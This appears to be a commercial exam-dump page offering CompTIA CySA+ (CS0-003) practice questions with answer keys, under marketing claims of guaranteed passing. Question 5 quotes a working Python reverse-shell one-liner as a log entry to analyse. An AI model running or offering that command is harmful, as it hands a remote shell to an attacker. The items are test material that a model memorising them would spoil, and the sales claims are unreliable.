CS0-003 Q&As

CompTIA Cybersecurity Analyst (CySA+)

Pass CompTIA CS0-003 Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

https://www.geekcert.com/cs0-003.html

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by CompTIA Official Exam Center

- **Instant Download** After Purchase
- **100% Money Back** Guarantee
- **365 Days** Free Update
- **800,000+** Satisfied Customers

QUESTION 1

A large company wants to address frequent outages on critical systems with a secure configurations program. The Chief Information Security Officer (CISO) has asked the analysts to conduct research and make recommendations for a cost-effective solution with the least amount of disruption to the business. Which of the following would be the best way to achieve these goals?

A. Adopt the CIS security controls as a framework, apply configurations to all assets, and then notify asset owners of the change.

B. Coordinate with asset owners to assess the impact of the CIS critical security controls, perform testing, and then implement across the enterprise.

C. Recommend multiple security controls depending on business unit needs, and then apply configurations according to the organization\\'s risk tolerance.

D. Ask asset owners which configurations they would like, compile the responses, and then present all options to the CISO for approval to implement.

Correct Answer: B

QUESTION 2

A security analyst recently implemented a new vulnerability scanning platform. The initial scan of 438 hosts found the following vulnerabilities:

210 critical 1,854 high 1,786 medium 48 low

The analyst is unsure how to handle such a large-scale remediation effort. Which of the following would be the next logical step?

A. Identify the assets with a high value and remediate all vulnerabilities on those hosts.

B. Perform remediation activities for all critical and high vulnerabilities first.

C. Perform a risk calculation to determine the probability and magnitude of exposure.

D. Identify the vulnerabilities that affect the most systems and remediate them first.

Correct Answer: B

QUESTION 3

A virtual web server in a server pool was infected with malware after an analyst used the internet to research a system issue. After the server was rebuilt and added back into the server pool, users reported issues with the website, indicating the site could not be trusted. Which of the following is the most likely cause of the server issue?

A. The server was configured to use SSL to securely transmit data.

B. The server was supporting weak TLS protocols for client connections.

C. The malware infected all the web servers in the pool.

D. The digital certificate on the web server was self-signed.

Correct Answer: D

A digital certificate is a document that contains the public key and identity information of a web server, and is signed by a trusted third-party authority called a certificate authority (CA). A digital certificate allows the web server to establish a secure connection with the clients using the HTTPS protocol, and also verifies the authenticity of the web server. A self-signed certificate is a digital certificate that is not signed by a CA, but by the web server itself. A self-signed certificate can cause issues with the website, as it may not be trusted by the clients or their browsers. Clients may receive warnings or errors when trying to access the website, indicating that the site could not be trusted or that the connection is not secure.

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered
https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives
https://www.techtarget.com/searchsecurity/quiz/Sample-CompTIA-CySA-test-questions-with-answers

QUESTION 4

Which of the following best describes the document that defines the expectation to network customers that patching will only occur between 2:00 a.m. and 4:00 a.m.?

A. SLA

B. LOI

C. MOU

D. KPI

Correct Answer: A

QUESTION 5

A security analyst found the following entry in a server log:

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,
socket.SOCK_STREAM);s.connect(("167772161",1234));os.dup2(s.fileno (),0);
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

The analyst executed netstat and received the following output:

	Proto	Local address	Foreign address	State
1	tcp	192.168.1.1:80	*	LISTENING
2	tcp	192.168.1.1:1234	*	LISTENING
3	tcp	192.168.1.1:80	10.0.0.1:53264	ESTABLISHED
4	tcp	192.168.1.1:32347	10.0.0.2:80	ESTABLISHED
5	tcp	192.168.1.1:34751	10.0.0.1:1234	ESTABLISHED
6	tcp	192.168.1.1:80	192.168.1.15:12974	ESTABLISHED
7	tcp	192.168.1.1:38772	192.168.1.1:80	ESTABLISHED

Which of the following lines in the output confirms this was successfully executed by the server?

A. 1

B. 2

C. 3

D. 4

E. 5

F. 6

G. 7

Correct Answer: E